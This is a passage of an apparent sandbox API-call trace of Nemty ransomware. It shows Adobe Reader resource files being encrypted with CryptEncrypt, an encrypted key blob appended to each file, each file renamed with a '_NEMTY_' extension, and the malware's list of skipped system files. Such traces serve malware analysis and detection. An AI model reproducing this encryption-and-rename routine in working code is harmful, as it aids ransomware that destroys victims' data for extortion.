WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_BE.txt", lpUsedDefaultChar=0x0) returned 30 [0216.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_BE.txt", lpUsedDefaultChar=0x0) returned 30 [0216.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_BE.txt", lpUsedDefaultChar=0x0) returned 30 [0216.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_BE.txt", lpUsedDefaultChar=0x0) returned 30 [0216.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.097] Sleep (dwMilliseconds=0x5) [0216.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34722b30, dwHighDateTime=0x1d561e8)) [0216.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34722b30, dwHighDateTime=0x1d561e8)) [0216.105] GetLastError () returned 0x0 [0216.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.105] GetLastError () returned 0x0 [0216.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.105] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.105] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.105] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.105] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="Bg1uL0fONUmcLM8od82x2oQByZmIDL5pvx0mFoFLYjJAVlI6JhAfJ+TuYtz5a88t\r\nePuXTSBxPlLZdS2+JR1sZJwmqW1bHXOwXNimJrArp/65xCNcTBX57SzZQzy0XKzB\r\nKAzFQlrRIbOQzbuSRJ8dpnG9L+BVoFaEpSDIWPd4Au7E5cpAlkkbohmg5b8G051W\r\ncUiWVp0bmd9OmeFQ/t4PoaUBHPMg/62GUimRVRaM3p9Zox8LpPvrgVEnyBqsqKjF\r\nt+IwVlh4s575BKiwi1HAkpuT2M2eQTJZcSVKqtWA+IP33dyZJDcgQYHmUogTmqMt\r\nGxSAR4sz9nb2XtUVY/zrzQ==\r\n", pcchString=0x653e5dc) returned 1 [0216.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.106] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28118) returned 1 [0216.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6dd0) returned 0x6352c48 [0216.106] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.106] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6dd0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6dd0, lpOverlapped=0x0) returned 1 [0216.109] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.109] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6dd0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6dd0, lpOverlapped=0x0) returned 1 [0216.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.110] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6dd6 [0216.110] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.110] CloseHandle (hObject=0x2e8) returned 1 [0216.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.110] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt._nemty_kgobjgd_")) returned 1 [0216.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.111] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.nl_BE_PREEURO.txt", cAlternateFileName="DIB2C6~1.TXT")) returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2=".") returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="..") returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="...") returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="windows") returned -1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="rsa") returned -1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="NTDETECT.COM") returned -1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="ntldr") returned -1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="MSDOS.SYS") returned -1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="IO.SYS") returned -1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="boot.ini") returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="boot.ini") returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="ntuser.dat") returned -1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="desktop.ini") returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="CONFIG.SYS") returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="RECYCLER") returned -1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.111] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="bootmgr") returned 1 [0216.112] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="programdata") returned -1 [0216.112] lstrcmpiW (lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt", lpString2="appdata") returned 1 [0216.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0216.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_BE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x63400a0 [0216.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_BE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400a0 | out: hHeap=0x4f90000) returned 1 [0216.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0216.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_BE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0216.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0216.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_BE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_BE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340218 [0216.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340048 [0216.112] Sleep (dwMilliseconds=0x5) [0216.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34748c90, dwHighDateTime=0x1d561e8)) [0216.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34748c90, dwHighDateTime=0x1d561e8)) [0216.120] GetLastError () returned 0x0 [0216.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.120] GetLastError () returned 0x0 [0216.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.120] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.120] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.121] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.121] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="4THP6baXUZPHynIvxpvceybh5gkJtSs2059Q/DUxAmgK+p9cngkxEIWmicXE87lY\r\n/PBHYPRsJwq66iUOCmDMI/j3futPuP+XEfv5uFHORihXFpLNEQYFkpDSHYuKcZFn\r\n1uAxRrOUJrL8Hq9LZidzT+Oo4dihSxug0osgjpIAoklGUr+H1qGL5tFdni/FedbJ\r\nVLnTLucsiCPcVEXSrHRWFjmifoIaOiuzxtLMtkXf0saYdeghZCGdZLAl0OV1fGhu\r\nFgDr/xwiWjw4P8Kl1gXgzIEdNVuZ0YSz77BfVxSEb9E0rH2RKXxFDTQICVxXhpX4\r\nTBjimBmn+o9yGVjBhclusw==\r\n", pcchString=0x653e5dc) returned 1 [0216.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.121] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.121] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28118) returned 1 [0216.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6dd0) returned 0x6352c48 [0216.121] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.121] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6dd0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6dd0, lpOverlapped=0x0) returned 1 [0216.125] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.125] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6dd0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6dd0, lpOverlapped=0x0) returned 1 [0216.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.125] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6dd6 [0216.125] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.125] CloseHandle (hObject=0x2e8) returned 1 [0216.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340310 [0216.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340408 [0216.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0216.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340408 | out: hHeap=0x4f90000) returned 1 [0216.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.125] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt"), lpNewFileName="C:\\Program Files 